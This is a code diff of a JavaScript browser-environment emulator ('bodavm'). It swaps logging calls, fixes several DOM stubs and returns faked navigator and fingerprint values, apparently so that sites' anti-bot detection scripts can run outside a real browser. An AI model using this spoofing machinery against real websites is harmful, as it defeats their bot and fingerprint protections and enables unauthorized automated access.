undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaKeyShortcuts_get = function Element_ariaKeyShortcuts_get() { console.log_copy("Element_ariaKeyShortcuts_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaLevel_get = function Element_ariaLevel_get() { console.log_copy("Element_ariaLevel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaLabel_get = function Element_ariaLabel_get() { console.log_copy("Element_ariaLabel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaLive_get = function Element_ariaLive_get() { console.log_copy("Element_ariaLive_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaModal_get = function Element_ariaModal_get() { console.log_copy("Element_ariaModal_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaMultiLine_get = function Element_ariaMultiLine_get() { console.log_copy("Element_ariaMultiLine_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaMultiSelectable_get = function Element_ariaMultiSelectable_get() { console.log_copy("Element_ariaMultiSelectable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaOrientation_get = function Element_ariaOrientation_get() { console.log_copy("Element_ariaOrientation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaPlaceholder_get = function Element_ariaPlaceholder_get() { console.log_copy("Element_ariaPlaceholder_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaPosInSet_get = function Element_ariaPosInSet_get() { console.log_copy("Element_ariaPosInSet_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaPressed_get = function Element_ariaPressed_get() { console.log_copy("Element_ariaPressed_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaReadOnly_get = function Element_ariaReadOnly_get() { console.log_copy("Element_ariaReadOnly_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRequired_get = function Element_ariaRequired_get() { console.log_copy("Element_ariaRequired_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRelevant_get = function Element_ariaRelevant_get() { console.log_copy("Element_ariaRelevant_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRoleDescription_get = function Element_ariaRoleDescription_get() { console.log_copy("Element_ariaRoleDescription_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRowCount_get = function Element_ariaRowCount_get() { console.log_copy("Element_ariaRowCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRowIndex_get = function Element_ariaRowIndex_get() { console.log_copy("Element_ariaRowIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRowSpan_get = function Element_ariaRowSpan_get() { console.log_copy("Element_ariaRowSpan_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaSelected_get = function Element_ariaSelected_get() { console.log_copy("Element_ariaSelected_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaSort_get = function Element_ariaSort_get() { console.log_copy("Element_ariaSort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaSetSize_get = function Element_ariaSetSize_get() { console.log_copy("Element_ariaSetSize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaValueMax_get = function Element_ariaValueMax_get() { console.log_copy("Element_ariaValueMax_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaValueMin_get = function Element_ariaValueMin_get() { console.log_copy("Element_ariaValueMin_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaValueNow_get = function Element_ariaValueNow_get() { console.log_copy("Element_ariaValueNow_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaValueText_get = function Element_ariaValueText_get() { console.log_copy("Element_ariaValueText_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_assignedSlot_get = function Element_assignedSlot_get() { console.log_copy("Element_assignedSlot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_attributeStyleMap_get = function Element_attributeStyleMap_get() { console.log_copy("Element_attributeStyleMap_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_childElementCount_get = function Element_childElementCount_get() { console.log_copy("ElementCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_classList_get = function Element_classList_get() { console.log_copy("Element_classList_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_className_get = function Element_className_get() { console.log_copy("Element_className_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_elementTiming_get = function Element_elementTiming_get() { console.log_copy("Element_elementTiming_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_firstElementChild_get = function Element_firstElementChild_get() { console.log_copy("ElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_lastElementChild_get = function Element_lastElementChild_get() { console.log_copy("ElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_localName_get = function Element_localName_get() { console.log_copy("Element_localName_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_namespaceURI_get = function Element_namespaceURI_get() { console.log_copy("Element_namespaceURI_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_nextElementSibling_get = function Element_nextElementSibling_get() { console.log_copy("ElementSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onbeforecopy_get = function Element_onbeforecopy_get() { console.log_copy("Element_onbeforecopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onbeforecut_get = function Element_onbeforecut_get() { console.log_copy("Element_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onbeforepaste_get = function Element_onbeforepaste_get() { console.log_copy("Element_onbeforepaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onfullscreenchange_get = function Element_onfullscreenchange_get() { console.log_copy("Element_onfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onfullscreenerror_get = function Element_onfullscreenerror_get() { console.log_copy("Element_onfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onsearch_get = function Element_onsearch_get() { console.log_copy("Element_onsearch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onwebkitfullscreenchange_get = function Element_onwebkitfullscreenchange_get() { console.log_copy("Element_onwebkitfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onwebkitfullscreenerror_get = function Element_onwebkitfullscreenerror_get() { console.log_copy("Element_onwebkitfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_part_get = function Element_part_get() { console.log_copy("Element_part_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_prefix_get = function Element_prefix_get() { console.log_copy("Element_prefix_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_previousElementSibling_get = function Element_previousElementSibling_get() { console.log_copy("ElementSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_scrollHeight_get = function Element_scrollHeight_get() { console.log_copy("Element_scrollHeight_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_shadowRoot_get = function Element_shadowRoot_get() { console.log_copy("Element_shadowRoot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_scrollWidth_get = function Element_scrollWidth_get() { console.log_copy("Element_scrollWidth_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_slot_get = function Element_slot_get() { console.log_copy("Element_slot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Element_tagName_get = function Element_tagName_get() { let tagname = this._boarg.tagName if (bodavm.memory.isdebug) { debugger } - console.log("Element_tagName_get ", `tagname->${tagname}`) + console.log_copy("Element_tagName_get ", `tagname->${tagname}`) return tagname } bodavm.envFunc.Element_getElementsByClassName = function Element_getElementsByClassName() { class_list={} - console.log(`Element_getElementsByClassName `, `!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`Element_getElementsByClassName `, `!!!!!!!!!未完善!!!!!!!!!!!! `); class_list.__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype return class_list @@ -4440,7 +4738,7 @@ bodavm.memory.Performance={ } bodavm.envFunc.Element_append = function Element_append() { let child = arguments[0] - console.log(`Element_append `, `child->${child}`); + console.log_copy(`Element_append `, `child->${child}`); this._boarg.append(child._boarg) // debugger @@ -4452,15 +4750,18 @@ bodavm.memory.Performance={ if (this instanceof HTMLFormElement) { for (let i = 0; i < bodavm.memory.formlist.length; i++) { if (bodavm.memory.formlist[i] == this._boarg) { - for (let j = 0; j < bodavm.memory.formlist[i]['child'].length; j++) { - if (bodavm.memory.formlist[i]['child'][j]._boarg.name == 'id') { - id = bodavm.memory.formlist[i]['child'][j] + if (bodavm.memory.formlist[i]['child']){ + for (let j = 0; j < bodavm.memory.formlist[i]['child'].length; j++) { + if (bodavm.memory.formlist[i]['child'][j]._boarg.name == 'id') { + id = bodavm.memory.formlist[i]['child'][j] + } } } + } } } - console.log("Element_id_get ", `id ->${id}`, `r6检测点`) + console.log_copy("Element_id_get ", `id ->${id}`, `r6检测点`) return id } @@ -4471,45 +4772,47 @@ bodavm.memory.Performance={ // debugger // bodavm.toolsFunc.setProtoAttr.call(this,'id',id) this._boarg['id'] = arguments[0] - console.log(`Element_id_set `, ` id->${arguments[0]}`); + console.log_copy(`Element_id_set `, ` id->${arguments[0]}`); return arguments[0] } bodavm.envFunc.Element_className_set = function () { // let className = arguments[0] - debugger + // debugger if (bodavm.config.isdebug) { debugger } - console.log(`Element_className_set`, `!!!!!!!!!未完善!!!!!!!!!!!!`); - bodavm.toolsFunc.setProtoAttr.call(this, 'className', className) - return className + + // bodavm.toolsFunc.setProtoAttr.call(this, 'className', className) + this._boarg.className =arguments[0] + console.log_copy(`Element_className_set -> `, `arg ->`,arguments[0]); + // return className } bodavm.envFunc.Element_attributes_get = function () { debugger - console.log(`Element_attributes_get `, `!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`Element_attributes_get `, `!!!!!!!!!未完善!!!!!!!!!!!! `); } bodavm.envFunc.Element_scrollLeft_get = function Element_scrollLeft_get() { - console.log(`Element_scrollLeft_get `, `${0} `); + console.log_copy(`Element_scrollLeft_get `, `${0} `); if (bodavm.config.isdebug) { debugger };; return 0 } bodavm.envFunc.Element_clientLeft_get = function Element_clientLeft_get() { - console.log(`Element_clientLeft_get `, `${0} `); + console.log_copy(`Element_clientLeft_get `, `${0} `); if (bodavm.config.isdebug) { debugger };; return 0 } bodavm.envFunc.Element_clientTop_get = function Element_clientTop_get() { - console.log(`Element_clientTop_get `, `${0} `); + console.log_copy(`Element_clientTop_get `, `${0} `); if (bodavm.config.isdebug) { debugger };; return 0 } bodavm.envFunc.Element_scrollTop_get = function Element_scrollTop_get() { - console.log(`Element_scrollTop_get `, `${0} `); + console.log_copy(`Element_scrollTop_get `, `${0} `); if (bodavm.config.isdebug) { debugger };; return 0 @@ -4519,32 +4822,33 @@ bodavm.memory.Performance={ bodavm.envFunc.Element_remove = function Element_remove() { if (bodavm.config.isdebug) { debugger };; debugger - let tagname = this._tagName - let self = this + // let tagname = this._tagName + // let self = this + this._boarg.remove() + console.log_copy(`Element_remove ->`,'removeobj ->',this) + // if (class_) { + // //取到bodavm.memory.tag[0]._className[class_]列表 - if (class_) { - //取到bodavm.memory.tag[0]._className[class_]列表 + // for (let i = 0; i < bodavm.memory.tag[0]._className[class_].length; i++) { + // if (bodavm.memory.tag[0]._className[class_][i] == this) { + // bodavm.memory.tag[0]._className[class_].splice(i, 1) + // } - for (let i = 0; i < bodavm.memory.tag[0]._className[class_].length; i++) { - if (bodavm.memory.tag[0]._className[class_][i] == this) { - bodavm.memory.tag[0]._className[class_].splice(i, 1) - } + // } + // } + // for (let i = 0; i < bodavm.memory.tag[0]._tagelements[tagname].length; i++) { + // if (bodavm.memory.tag[0]._tagelements[tagname][i] == this) { + // bodavm.memory.tag[0]._tagelements[tagname].splice(i, 1) + // } - } - } - for (let i = 0; i < bodavm.memory.tag[0]._tagelements[tagname].length; i++) { - if (bodavm.memory.tag[0]._tagelements[tagname][i] == this) { - bodavm.memory.tag[0]._tagelements[tagname].splice(i, 1) - } - - } + // } } bodavm.envFunc.Element_clientHeight_get = function Element_clientHeight_get() { let clientHeight = 0 - console.log(`Element_clientHeight_get `, `${clientHeight} `); + console.log_copy(`Element_clientHeight_get `, `${clientHeight} `); if (bodavm.config.isdebug) { debugger };; return clientHeight @@ -4554,7 +4858,7 @@ bodavm.memory.Performance={ //无返回值 if (bodavm.config.isdebug) { debugger };; this._boarg.removeAttribute(attr) - console.log(`Element_removeAttribute `, `${attr} `, `=============================!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`Element_removeAttribute `, `${attr} `, `=============================!!!!!!!!!未完善!!!!!!!!!!!!`); //IE 返回 boolean 类型值,其他返回 undefined } bodavm.envFunc.Element_setAttribute = function Element_setAttribute() { @@ -4565,13 +4869,13 @@ bodavm.memory.Performance={ let value = arguments[1] this._boarg.setAttribute(name, value) - console.log(`Element_setAttribute `, `name->${name} `, `value->${value} `); + console.log_copy(`Element_setAttribute `, `name->${name} `, `value->${value} `); ; } bodavm.envFunc.Element_clientWidth_get = function Element_clientWidth_get() { if (bodavm.config.isdebug) { debugger } - console.log(`Element_clientWidth_get `, `${0} `); + console.log_copy(`Element_clientWidth_get `, `${0} `); return 0 } @@ -4579,7 +4883,7 @@ bodavm.memory.Performance={ // let outerHtml = this._elements[0].outerHTML let outhtml = this._boarg.outerHTML - console.log(`Element_outerHTML_get==> `, `outhtml->${outhtml}`,); + console.log_copy(`Element_outerHTML_get==> `, `outhtml->${outhtml}`,); if (bodavm.config.isdebug) { debugger };; //腾讯qq邮箱hk @@ -4591,7 +4895,7 @@ bodavm.memory.Performance={ tagName=this._boarg.nodeName if (bodavm.memory.collection[tagName]){ - console.log(`Element_children_get `, `bodavm.memory.collection[${tagName}]已存在直接返回`); + console.log_copy(`Element_children_get `, `bodavm.memory.collection[${tagName}]已存在直接返回`); return bodavm.memory.collection[tagName] } if (!bodavm.memory.collection[tagName]){ @@ -4628,14 +4932,14 @@ bodavm.memory.Performance={ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) bodavm.memory.collection[tagName].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection[tagName]._boarg = taglist - console.log(`Element_children_get `, ` taglist->${taglist}`); + console.log_copy(`Element_children_get `, ` taglist->${taglist}`); bodavm.memory.collection[tagName].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; return bodavm.memory.collection[tagName] @@ -4645,13 +4949,13 @@ bodavm.memory.Performance={ // debugger if (bodavm.config.isdebug) { debugger };; - console.log(`Element_getBoundingClientRect`, '!!!!!!!!!未完善!!!!!!!!!!!!'); + console.log_copy(`Element_getBoundingClientRect`, '!!!!!!!!!未完善!!!!!!!!!!!!'); } bodavm.envFunc.Element_innerHTML_get = function Element_innerHTML_get() { let res = this._boarg.innerHTML if (bodavm.config.isdebug) { debugger };; - console.log(`Element_innerHTML_get `, `-> res->${res}`); + console.log_copy(`Element_innerHTML_get `, `-> res->${res}`); return res } @@ -4660,7 +4964,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger };; let html = arguments[0] + ''; this._boarg.innerHTML = html - console.log(`Element_innerHTML_set `, `html->${html}`); + console.log_copy(`Element_innerHTML_set `, `html->${html}`); return html } bodavm.envFunc.Element_getAttribute = function () { @@ -4668,7 +4972,7 @@ bodavm.memory.Performance={ // debugger if (bodavm.config.isdebug) { debugger; } let value = this._boarg.getAttribute(attr) - console.log(`Element_getAttribute `, `attr->${attr} `, `value->${value} `) + console.log_copy(`Element_getAttribute `, `attr->${attr} `, `value->${value} `) return value @@ -4680,7 +4984,7 @@ bodavm.memory.Performance={ // debugger let tagName = arguments[0].toUpperCase(); if (bodavm.memory.collection[tagName]){ - console.log(`Element_getElementsByTagName`,`bodavm.memory.collection[${tagName}] 已存在直接返回`) + console.log_copy(`Element_getElementsByTagName`,`bodavm.memory.collection[${tagName}] 已存在直接返回`) return bodavm.memory.collection[tagName] } if (!bodavm.memory.collection[tagName]){ @@ -4713,105 +5017,105 @@ bodavm.memory.Performance={ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) bodavm.memory.collection[tagName].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection[tagName]._boarg = taglist - console.log(`Element_getElementsByTagName `, `tagName->${tagName} `, ` taglist->${taglist}`); + console.log_copy(`Element_getElementsByTagName `, `tagName->${tagName} `, ` taglist->${taglist}`); bodavm.memory.collection[tagName].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; return bodavm.memory.collection[tagName] } //Navigator - bodavm.envFunc.Navigator_clipboard_get = function Navigator_clipboard_get() { console.log("Navigator_clipboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_geolocation_get = function Navigator_geolocation_get() { console.log("Navigator_geolocation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_hid_get = function Navigator_hid_get() { console.log("Navigator_hid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_ink_get = function Navigator_ink_get() { console.log("Navigator_ink_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_keyboard_get = function Navigator_keyboard_get() { console.log("Navigator_keyboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_clipboard_get = function Navigator_clipboard_get() { console.log_copy("Navigator_clipboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_geolocation_get = function Navigator_geolocation_get() { console.log_copy("Navigator_geolocation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_hid_get = function Navigator_hid_get() { console.log_copy("Navigator_hid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_ink_get = function Navigator_ink_get() { console.log_copy("Navigator_ink_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_keyboard_get = function Navigator_keyboard_get() { console.log_copy("Navigator_keyboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Navigator_locks_get = function Navigator_locks_get() { let locks = bodavm.memory.cache['Navigator_locks_get'] locks.__proto__ = bodavm.memory.globalobj['LockManager'].prototype - console.log("Navigator_locks_get ", `locks ->${locks}`) + console.log_copy("Navigator_locks_get ", `locks ->${locks}`) return locks } - bodavm.envFunc.Navigator_managed_get = function Navigator_managed_get() { console.log("Navigator_managed_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_mediaCapabilities_get = function Navigator_mediaCapabilities_get() { console.log("Navigator_mediaCapabilities_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_mediaDevices_get = function Navigator_mediaDevices_get() { console.log("Navigator_mediaDevices_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_mediaSession_get = function Navigator_mediaSession_get() { console.log("Navigator_mediaSession_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_onLine_get = function Navigator_onLine_get() { console.log("Navigator_onLine_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_pdfViewerEnabled_get = function Navigator_pdfViewerEnabled_get() { console.log("Navigator_pdfViewerEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_managed_get = function Navigator_managed_get() { console.log_copy("Navigator_managed_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_mediaCapabilities_get = function Navigator_mediaCapabilities_get() { console.log_copy("Navigator_mediaCapabilities_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_mediaDevices_get = function Navigator_mediaDevices_get() { console.log_copy("Navigator_mediaDevices_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_mediaSession_get = function Navigator_mediaSession_get() { console.log_copy("Navigator_mediaSession_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_onLine_get = function Navigator_onLine_get() { console.log_copy("Navigator_onLine_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_pdfViewerEnabled_get = function Navigator_pdfViewerEnabled_get() { console.log_copy("Navigator_pdfViewerEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Navigator_permissions_get = function Navigator_permissions_get() { // debugger let permissions = bodavm.memory.cache['Navigator_permissions_get'] permissions.__proto__ = bodavm.memory.globalobj['Permissions'].prototype - console.log("Navigator_permissions_get ", `permissions->${permissions}`) + console.log_copy("Navigator_permissions_get ", `permissions->${permissions}`) return permissions } - bodavm.envFunc.Navigator_presentation_get = function Navigator_presentation_get() { console.log("Navigator_presentation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_scheduling_get = function Navigator_scheduling_get() { console.log("Navigator_scheduling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_serial_get = function Navigator_serial_get() { console.log("Navigator_serial_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_serviceWorker_get = function Navigator_serviceWorker_get() { console.log("Navigator_serviceWorker_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_usb_get = function Navigator_usb_get() { console.log("Navigator_usb_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_userActivation_get = function Navigator_userActivation_get() { console.log("Navigator_userActivation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_virtualKeyboard_get = function Navigator_virtualKeyboard_get() { console.log("Navigator_virtualKeyboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_wakeLock_get = function Navigator_wakeLock_get() { console.log("Navigator_wakeLock_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_webkitTemporaryStorage_get = function Navigator_webkitTemporaryStorage_get() { console.log("Navigator_webkitTemporaryStorage_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_presentation_get = function Navigator_presentation_get() { console.log_copy("Navigator_presentation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_scheduling_get = function Navigator_scheduling_get() { console.log_copy("Navigator_scheduling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_serial_get = function Navigator_serial_get() { console.log_copy("Navigator_serial_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_serviceWorker_get = function Navigator_serviceWorker_get() { console.log_copy("Navigator_serviceWorker_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_usb_get = function Navigator_usb_get() { console.log_copy("Navigator_usb_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_userActivation_get = function Navigator_userActivation_get() { console.log_copy("Navigator_userActivation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_virtualKeyboard_get = function Navigator_virtualKeyboard_get() { console.log_copy("Navigator_virtualKeyboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_wakeLock_get = function Navigator_wakeLock_get() { console.log_copy("Navigator_wakeLock_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_webkitTemporaryStorage_get = function Navigator_webkitTemporaryStorage_get() { console.log_copy("Navigator_webkitTemporaryStorage_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Navigator_javaEnabled = function () { let javaEnabled = bodavm.memory.navigator['javaEnabled'] - console.log(`Navigator_javaEnabled `, `${javaEnabled} `); + console.log_copy(`Navigator_javaEnabled `, `${javaEnabled} `); return javaEnabled } bodavm.envFunc.Navigator_productSub_get = function () { if (bodavm.config.isdebug) { debugger; } let productSub = bodavm.memory.navigator["productSub"] - console.log(`Navigator_productSub_get `, `${productSub} `); + console.log_copy(`Navigator_productSub_get `, `${productSub} `); return productSub } bodavm.envFunc.Navigator_userAgentData_get = function () { if (bodavm.config.isdebug) { debugger; } let userAgentData = bodavm.memory.navigator["userAgentData"] - console.log(`Navigator_userAgentData_get `, `${userAgentData} `); + console.log_copy(`Navigator_userAgentData_get `, `${userAgentData} `); return userAgentData } bodavm.envFunc.Navigator_xr_get = function Navigator_xr_get() { if (bodavm.config.isdebug) { debugger; } let xr = bodavm.memory.navigator["xr"] - console.log(`Navigator_xr_get `, `${xr} `); + console.log_copy(`Navigator_xr_get `, `${xr} `); return xr } bodavm.envFunc.Navigator_appCodeName_get = function Navigator_appCodeName_get() { let appCodeName = bodavm.memory.navigator["appCodeName"] - console.log(`Navigator_appCodeName_get `, `${appCodeName} `); + console.log_copy(`Navigator_appCodeName_get `, `${appCodeName} `); if (bodavm.config.isdebug) { debugger };; return appCodeName } bodavm.envFunc.Navigator_appName_get = function Navigator_appName_get() { let appName = bodavm.memory.navigator["appName"] - console.log(`Navigator_appName_get `, `${appName} `); + console.log_copy(`Navigator_appName_get `, `${appName} `); if (bodavm.config.isdebug) { debugger };; return appName } bodavm.envFunc.Navigator_vendor_get = function Navigator_vendor_get() { let vendor = bodavm.memory.navigator["vendor"] - console.log(`Navigator_vendor_get `, `${vendor} `); + console.log_copy(`Navigator_vendor_get `, `${vendor} `); if (bodavm.config.isdebug) { debugger };; return vendor } bodavm.envFunc.Navigator_platform_get = function Navigator_platform_get() { let platform = bodavm.memory.navigator['platform'] - console.log(`Navigator_platform_get `, `${platform} `); + console.log_copy(`Navigator_platform_get `, `${platform} `); if (bodavm.config.isdebug) { debugger };; return platform; @@ -4819,24 +5123,25 @@ bodavm.memory.Performance={ bodavm.envFunc.Navigator_hardwareConcurrency_get = function Navigator_hardwareConcurrency_get() { - console.log(`Navigator_hardwareConcurrency_get `, `${8} `); + console.log_copy(`Navigator_hardwareConcurrency_get `, `${8} `); return 8 } bodavm.envFunc.Navigator_plugins_get = function Navigator_plugin_get() { let plugin = bodavm.memory.globalInit.pluginArray; - console.log(`Navigator_plugins_get `, `plugin->${plugin} `) - return plugin + console.log_copy(`Navigator_plugins_get `, `plugin->${plugin} `) + res=Object.create(plugin) + return res } bodavm.envFunc.Navigator_mimeTypes_get = function Navigator_mimeTypes_get() { let mimeTypeArray = bodavm.memory.globalInit["mimeTypeArray"] - console.log(`Navigator_mimeTypes_get `, `${mimeTypeArray} `) + console.log_copy(`Navigator_mimeTypes_get `, `${mimeTypeArray} `) return mimeTypeArray } bodavm.envFunc.Navigator_userAgent_get = function Navigator_userAgent_get() { let ua = bodavm.memory.navigator["userAgent"] // debugger - console.log(`Navigator_userAgent_get `, `${ua} `) + console.log_copy(`Navigator_userAgent_get `, `${ua} `) // debugger return ua } @@ -4852,32 +5157,32 @@ bodavm.memory.Performance={ Object.setPrototypeOf(webkitPersistentStorage, bodavm.memory.globalobj['DeprecatedStorageQuota'].prototype) delete bodavm.memory.globalobj['DeprecatedStorageQuota'].prototype.constructor; - console.log(`Navigator_webkitPersistentStorage_get `, `${webkitPersistentStorage} `) 